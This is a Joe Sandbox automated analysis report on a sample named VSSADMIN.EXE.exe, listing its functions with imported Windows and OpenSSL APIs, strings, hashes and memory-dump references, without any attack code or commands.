API String ID: 1120909799-2051290508
Opcode ID: b87478d39e550b6278b10c6495ad9d7c2480af2d970ddb1f34380d70319f0b12
Instruction ID: b7dae9cd0ce5ed7c1a6189eb1478c9496da866e3f12e899445b48ade3d407241
Opcode Fuzzy Hash: b87478d39e550b6278b10c6495ad9d7c2480af2d970ddb1f34380d70319f0b12
Instruction Fuzzy Hash: 3801F572B0864A83E7149B25F4505AD7720FF40764F204235EB6C43AE5CF3DD915DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C73BC0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C73BF1

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

Strings

GetModuleFileNameW, xrefs: 00007FF614C73C02
Failed to get executable path., xrefs: 00007FF614C73BFB
Failed to convert executable path to UTF-8., xrefs: 00007FF614C73C2A

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 1e1fb772b1588bb2ef8aa65086850d6655ce62306cfd8bfdc61953077b8dd8c7
Instruction ID: 711d856276ce07ae2e7d2679d58a58d86320b1af73e45da33f543d676ac51ce5
Opcode Fuzzy Hash: 1e1fb772b1588bb2ef8aa65086850d6655ce62306cfd8bfdc61953077b8dd8c7
Instruction Fuzzy Hash: EF017520B1DE8392FE209724D8863B51275AF5AB96F400133D84DC7292EE5DE155C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8BAA0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF614C8BB1F
WriteFile.KERNEL32 ref: 00007FF614C8BDE7
WriteFile.KERNEL32 ref: 00007FF614C8BE2D
GetLastError.KERNEL32 ref: 00007FF614C8BEE3

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 87663b63aee2c8a84d417a22dd3cc71da84cd46cd72d182d0421c23b89921904
Instruction ID: 2e40456ab58387b5b3d3ced8f526ecf2c6219b08c69dc03f75355d0f082e8f35
Opcode Fuzzy Hash: 87663b63aee2c8a84d417a22dd3cc71da84cd46cd72d182d0421c23b89921904
Instruction Fuzzy Hash: DBD1D572B18E828AE711CF75D4802AC37B1FB56BA8B404136EF5D97B99EE38D416D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8C460 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF614C8C44B), ref: 00007FF614C8C57C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF614C8C44B), ref: 00007FF614C8C607

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: e65a1ef3f10fff74d3232b46e78c6d325de19383b218cad3662b4f5595b6db4d
Instruction ID: 8ec18fb021b556b2e0f1d3e6acc8e776c965f3dcf430bb9058c7f304fe65182d
Opcode Fuzzy Hash: e65a1ef3f10fff74d3232b46e78c6d325de19383b218cad3662b4f5595b6db4d
Instruction Fuzzy Hash: D991CF32A18E5395F7608F6594C42BD2BB0BB46FA8F54513BDE0EA3A95DF38D482D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF2DF1 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFD3FD5A590

Strings

Operation not permitted, xrefs: 00007FFD3FD5A584
unknown, xrefs: 00007FFD3FD5A5C3, 00007FFD3FD5A68A

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ErrorLast
String ID: Operation not permitted$unknown
API String ID: 1452528299-31098287
Opcode ID: 94f8c0897b9262b15903971c95efbd7132c9d309cbad33c9c887f12970751b17
Instruction ID: 6d4def61f283320f91e180946809595e99d8e1600e6ea36ba553c245dafe003c
Opcode Fuzzy Hash: 94f8c0897b9262b15903971c95efbd7132c9d309cbad33c9c887f12970751b17
Instruction Fuzzy Hash: E0817A62B08A5B86FB18AB11E8343B923A4FB80B84F444531DF5E47296DF7CE448E741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8E90C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF614C8E9FC
_get_daylight.LIBCMT ref: 00007FF614C8EA0D
_get_daylight.LIBCMT ref: 00007FF614C8EA1E
_isindst.LIBCMT ref: 00007FF614C8EAE9

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 3936f9fd064f0a2d12ee265f0d959771fab9af5f8a09d4fe6c43307fbcccf919
Instruction ID: 18f7f7ec65ed05b9de3eaf02fb1f48b45cf8e88610e79f34814b461ec7ee7253
Opcode Fuzzy Hash: 3936f9fd064f0a2d12ee265f0d959771fab9af5f8a09d4fe6c43307fbcccf919
Instruction Fuzzy Hash: 2E51D672F049228AEB14DB64D9C56BC27B1BB56B78F504136DE1ED3AE5DF38A402CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C84804 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF614C84837
GetFileInformationByHandle.KERNEL32 ref: 00007FF614C84899
GetLastError.KERNEL32 ref: 00007FF614C8492A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF614C8473C), ref: 00007FF614C84976

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: ce0a1e9b89da8c582d0725fbd11fd513ed84fd7ce4f909c8e640cca0bbf582de
Instruction ID: dd55b42f2fde5e925cf492ec1fec847b750e0a2bf12d2e3cab28159a11257e2f
Opcode Fuzzy Hash: ce0a1e9b89da8c582d0725fbd11fd513ed84fd7ce4f909c8e640cca0bbf582de
Instruction Fuzzy Hash: 1B518222E08A528AFB24DFB5D4903BD73B5AF46F68F10453ADE4D87689EF38D4419704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF614C71FA4
SetWindowLongPtrW.USER32 ref: 00007FF614C71FC6
GetWindowLongPtrW.USER32 ref: 00007FF614C71FF0
InvalidateRect.USER32 ref: 00007FF614C72010

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction ID: 827ab80cacc80360e28ac13ff821de4bd6941a9723479130775979797aff58cb
Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction Fuzzy Hash: 04118631E1C94243FA549769E5842B952B3FBCAFA1F484132E94987B99CE2DD5858200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B5B0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF614C7B5DC
GetCurrentThreadId.KERNEL32 ref: 00007FF614C7B5EA
GetCurrentProcessId.KERNEL32 ref: 00007FF614C7B5F6
QueryPerformanceCounter.KERNEL32 ref: 00007FF614C7B606

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 6f2ab88599309ed85d1430460dcf5b5c4b0e5279fe268d41b3c0937ed12eb80b
Instruction ID: 7f69d9357170e07e26837de23a0613233fc01596517e9ceb7176968b1c8b03d6
Opcode Fuzzy Hash: 6f2ab88599309ed85d1430460dcf5b5c4b0e5279fe268d41b3c0937ed12eb80b
Instruction Fuzzy Hash: D3113326B14F419AEF00CF64E8942B933B4FB19B68F440D32EA6D87764EF79D1958380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C94D6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C908D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C90903

_get_daylight.LIBCMT ref: 00007FF614C94E84
_get_daylight.LIBCMT ref: 00007FF614C94E95

Strings

?, xrefs: 00007FF614C94E15

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 2e715f355c6c22707ad3ed73b30a5419481e2ec4998e467f77e94f1bde601fe4
Instruction ID: 6243723ece32913ec4bcdc482baa7c948107280c40b936d205852b500f1de186
Opcode Fuzzy Hash: 2e715f355c6c22707ad3ed73b30a5419481e2ec4998e467f77e94f1bde601fe4
Instruction Fuzzy Hash: 28410812A0CA8365FB649B25D58137AE6B0EB82FB8F144236EE5C87AD5DF3ED441C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF2748 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

00007FFD5FD0ABF0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFD3FC9A592

Strings

%04d%02d%02d%02d%02d%02dZ, xrefs: 00007FFD3FC9A698
%02d%02d%02d%02d%02d%02dZ, xrefs: 00007FFD3FC9A6A5

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007
String ID: %02d%02d%02d%02d%02d%02dZ$%04d%02d%02d%02d%02d%02dZ
API String ID: 3568877910-2648760357
Opcode ID: 4f01d9f861e9c6c8f70647b046dc82b808f72db07d97631f436a9c698cc874c8
Instruction ID: 0be836f15ca10f036772348612b459bded6037d5135295d1912b8e6ade927ab8
Opcode Fuzzy Hash: 4f01d9f861e9c6c8f70647b046dc82b808f72db07d97631f436a9c698cc874c8
Instruction Fuzzy Hash: BF515D72B187858AE764CF19F49066AB7A0FB89B50F444135EB8D87B59EF3CE4449B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF1613 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FFD3FCB691E
getaddrinfo.WS2_32 ref: 00007FFD3FCB695F

Strings

..\s\crypto\bio\b_addr.c, xrefs: 00007FFD3FCB698C, 00007FFD3FCB69D3, 00007FFD3FCB69FF

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: getaddrinfo
String ID: ..\s\crypto\bio\b_addr.c
API String ID: 300660673-2547254400
Opcode ID: a2c99f71c7972fb3b7ba828c59694e00382d0b8ec626129309ba30accd8ab733
Instruction ID: 0e454ae40ad5d8c38936c04922c8d928e6adc8cc45094cf4937343913d05a3b7
Opcode Fuzzy Hash: a2c99f71c7972fb3b7ba828c59694e00382d0b8ec626129309ba30accd8ab733
Instruction Fuzzy Hash: E441B472B1878A87EB58DF26E4906BE7751FB84740F004139EB8943B85DF7CD855AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C87E9C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C87ECE

Part of subcall function 00007FF614C89E48: HeapFree.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E5E
Part of subcall function 00007FF614C89E48: GetLastError.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E68

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF614C7B135), ref: 00007FF614C87EEC

Strings

C:\Users\user\Desktop\VSSADMIN.EXE.exe, xrefs: 00007FF614C87EDA

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\VSSADMIN.EXE.exe
API String ID: 3580290477-1688815890
Opcode ID: 32394b7523a72a158e8e671d07237236857a66eb30a973d43268576dac4f19c3
Instruction ID: 0b2ca9aeb5763d4a833c3ab8aaa6e583eb0686974bacee5ada8daabe44179aa5
Opcode Fuzzy Hash: 32394b7523a72a158e8e671d07237236857a66eb30a973d43268576dac4f19c3
Instruction Fuzzy Hash: 0B414D32A09E5385E7159F26D8C00B967B4EB46FE4B544037EA4E87B85DF3DE8519310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF37EC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

00007FFD592F1170.VCRUNTIME140 ref: 00007FFD3FE34ABF

Strings

..\s\crypto\x509v3\v3_utl.c, xrefs: 00007FFD3FE34A94, 00007FFD3FE34AD0, 00007FFD3FE34AED
TRUE, xrefs: 00007FFD3FE31854, 00007FFD3FE31875

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
